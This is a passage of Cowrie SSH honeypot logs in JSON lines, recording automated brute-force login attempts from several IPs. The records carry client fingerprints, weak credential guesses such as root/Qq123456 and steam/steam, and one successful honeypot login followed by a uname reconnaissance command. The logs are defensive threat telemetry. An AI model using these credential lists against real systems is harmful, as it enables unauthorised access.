:["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:51.935006Z","src_ip":"43.163.119.215","session":"d21c9ed632ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:52.648031Z","src_ip":"43.163.119.215","session":"d21c9ed632ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:53.888782Z","src_ip":"43.163.119.215","session":"d21c9ed632ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":52036,"dst_ip":"10.17.0.5","dst_port":22,"session":"9865b5ece51d","protocol":"ssh","message":"New connection: 163.7.9.84:52036 (10.17.0.5:22) [session: 9865b5ece51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:01.640671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:01.647723Z","src_ip":"163.7.9.84","session":"9865b5ece51d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:01.900814Z","src_ip":"163.7.9.84","session":"9865b5ece51d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qa@ws3ed","message":"login attempt [root/!qa@ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:02.937303Z","src_ip":"163.7.9.84","session":"9865b5ece51d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:04.191899Z","src_ip":"163.7.9.84","session":"9865b5ece51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.187.176.118","src_port":6418,"dst_ip":"10.17.0.5","dst_port":22,"session":"48e3bcf8ce19","protocol":"ssh","message":"New connection: 194.187.176.118:6418 (10.17.0.5:22) [session: 48e3bcf8ce19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:05.514843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:05.519652Z","src_ip":"194.187.176.118","session":"48e3bcf8ce19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:05.614588Z","src_ip":"194.187.176.118","session":"48e3bcf8ce19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:05.898505Z","src_ip":"194.187.176.118","session":"48e3bcf8ce19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":59876,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5ffbabbeccf","protocol":"ssh","message":"New connection: 202.29.225.206:59876 (159.203.135.109:22) [session: c5ffbabbeccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:10.878097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:10.882733Z","src_ip":"202.29.225.206","session":"c5ffbabbeccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:11.130798Z","src_ip":"202.29.225.206","session":"c5ffbabbeccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"silvio","message":"login attempt [root/silvio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:12.157467Z","src_ip":"202.29.225.206","session":"c5ffbabbeccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:13.409194Z","src_ip":"202.29.225.206","session":"c5ffbabbeccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":56920,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc71583ceec9","protocol":"ssh","message":"New connection: 186.116.56.108:56920 (159.203.135.109:22) [session: fc71583ceec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:27.440924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:27.450976Z","src_ip":"186.116.56.108","session":"fc71583ceec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:27.541579Z","src_ip":"186.116.56.108","session":"fc71583ceec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:27.930126Z","src_ip":"186.116.56.108","session":"fc71583ceec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:29.024391Z","src_ip":"186.116.56.108","session":"fc71583ceec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57990,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c1ac5d69d2","protocol":"ssh","message":"New connection: 43.163.119.215:57990 (10.17.0.5:22) [session: f2c1ac5d69d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:48.216367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:48.221138Z","src_ip":"43.163.119.215","session":"f2c1ac5d69d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:48.467158Z","src_ip":"43.163.119.215","session":"f2c1ac5d69d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:49.205522Z","src_ip":"43.163.119.215","session":"f2c1ac5d69d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":59560,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a4adcdaa86d","protocol":"ssh","message":"New connection: 205.209.121.72:59560 (10.17.0.5:22) [session: 6a4adcdaa86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:50.179126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:50.186174Z","src_ip":"205.209.121.72","session":"6a4adcdaa86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:50.191335Z","src_ip":"205.209.121.72","session":"6a4adcdaa86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:50.248527Z","src_ip":"205.209.121.72","session":"6a4adcdaa86d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":41710,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d8ab33c9654","protocol":"ssh","message":"New connection: 43.163.119.215:41710 (10.17.0.5:22) [session: 3d8ab33c9654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:50.254614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:50.259891Z","src_ip":"43.163.119.215","session":"3d8ab33c9654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:50.458583Z","src_ip":"43.163.119.215","session":"f2c1ac5d69d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:50.497564Z","src_ip":"43.163.119.215","session":"3d8ab33c9654","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:51.213155Z","src_ip":"43.163.119.215","session":"3d8ab33c9654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:51.256578Z","src_ip":"205.209.121.72","session":"6a4adcdaa86d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:51.727492Z","src_ip":"43.163.119.215","session":"3d8ab33c9654","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:51.730689Z","src_ip":"43.163.119.215","session":"3d8ab33c9654","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:51.970222Z","src_ip":"43.163.119.215","session":"3d8ab33c9654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:51.975672Z","src_ip":"43.163.119.215","session":"3d8ab33c9654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":38250,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdefa64aefc8","protocol":"ssh","message":"New connection: 43.163.119.215:38250 (10.17.0.5:22) [session: fdefa64aefc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:58.060249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:58.065241Z","src_ip":"43.163.119.215","session":"fdefa64aefc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:58.304252Z","src_ip":"43.163.119.215","session":"fdefa64aefc8","protocol":"ssh"}
